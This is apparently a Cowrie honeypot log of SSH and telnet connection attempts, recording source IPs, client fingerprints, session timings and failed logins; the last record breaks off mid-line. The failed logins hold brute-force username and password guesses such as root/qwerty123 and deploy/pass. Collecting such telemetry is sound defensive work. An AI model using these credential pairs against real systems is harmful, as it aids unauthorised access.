{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:40.580743Z","src_ip":"91.92.40.36","session":"9174260b5b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:44.165656Z","src_ip":"91.92.40.36","session":"9174260b5b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:46.475283Z","src_ip":"91.92.40.36","session":"9174260b5b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18634,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebe7c5163c67","protocol":"ssh","message":"New connection: 91.92.40.36:18634 (10.17.0.5:22) [session: ebe7c5163c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:48.477928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:48.764548Z","src_ip":"91.92.40.36","session":"ebe7c5163c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:48.768854Z","src_ip":"91.92.40.36","session":"ebe7c5163c67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:50.888535Z","src_ip":"91.92.40.36","session":"ebe7c5163c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":47424,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2fabed0f995","protocol":"ssh","message":"New connection: 160.187.180.146:47424 (159.203.135.109:22) [session: d2fabed0f995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:52.179809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:52.184216Z","src_ip":"160.187.180.146","session":"d2fabed0f995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:52.247020Z","src_ip":"91.92.40.36","session":"ebe7c5163c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:52.403830Z","src_ip":"160.187.180.146","session":"d2fabed0f995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asd456","message":"login attempt [root/123asd456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:53.315202Z","src_ip":"160.187.180.146","session":"d2fabed0f995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:54.539615Z","src_ip":"160.187.180.146","session":"d2fabed0f995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":33928,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f469a230005","protocol":"ssh","message":"New connection: 45.78.204.254:33928 (10.17.0.5:22) [session: 0f469a230005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:55.250050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:55.683938Z","src_ip":"45.78.204.254","session":"0f469a230005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18688,"dst_ip":"10.17.0.5","dst_port":22,"session":"44f8e7d34f50","protocol":"ssh","message":"New connection: 91.92.40.36:18688 (10.17.0.5:22) [session: 44f8e7d34f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:57.084798Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:57.380290Z","src_ip":"45.78.204.254","session":"0f469a230005","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:57.885060Z","src_ip":"91.92.40.36","session":"44f8e7d34f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty00","message":"login attempt [root/qwerty00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:58.115468Z","src_ip":"45.78.204.254","session":"0f469a230005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:58.596236Z","src_ip":"91.92.40.36","session":"44f8e7d34f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:00.339097Z","src_ip":"45.78.204.254","session":"0f469a230005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"126.116.188.243","src_port":55302,"dst_ip":"10.17.0.5","dst_port":23,"session":"531b6793c806","protocol":"telnet","message":"New connection: 126.116.188.243:55302 (10.17.0.5:23) [session: 531b6793c806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:02.536267Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31490,"dst_ip":"10.17.0.5","dst_port":22,"session":"20515e846e28","protocol":"ssh","message":"New connection: 91.92.40.36:31490 (10.17.0.5:22) [session: 20515e846e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:04.253808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:04.887632Z","src_ip":"91.92.40.36","session":"20515e846e28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:05.103535Z","src_ip":"91.92.40.36","session":"44f8e7d34f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:05.730573Z","src_ip":"91.92.40.36","session":"20515e846e28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:07.209306Z","src_ip":"91.92.40.36","session":"44f8e7d34f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40382,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb61d4f772d2","protocol":"ssh","message":"New connection: 91.92.40.36:40382 (10.17.0.5:22) [session: fb61d4f772d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:11.205416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:11.500534Z","src_ip":"91.92.40.36","session":"fb61d4f772d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:11.504110Z","src_ip":"91.92.40.36","session":"fb61d4f772d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"pass","message":"login attempt [deploy/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:12.329090Z","src_ip":"91.92.40.36","session":"20515e846e28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"password","message":"login attempt [ftpuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:14.249336Z","src_ip":"91.92.40.36","session":"fb61d4f772d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:14.802134Z","src_ip":"91.92.40.36","session":"20515e846e28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:16.066793Z","src_ip":"91.92.40.36","session":"fb61d4f772d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57296,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9b6def7d497","protocol":"ssh","message":"New connection: 91.92.40.36:57296 (10.17.0.5:22) [session: b9b6def7d497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:19.479789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:20.158304Z","src_ip":"91.92.40.36","session":"b9b6def7d497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:21.279828Z","src_ip":"91.92.40.36","session":"b9b6def7d497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:26.387503Z","src_ip":"91.92.40.36","session":"b9b6def7d497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53214,"dst_ip":"10.17.0.5","dst_port":22,"session":"059378ef1d02","protocol":"ssh","message":"New connection: 91.92.40.36:53214 (10.17.0.5:22) [session: 059378ef1d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:27.066032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:27.215640Z","src_ip":"91.92.40.36","session":"059378ef1d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","h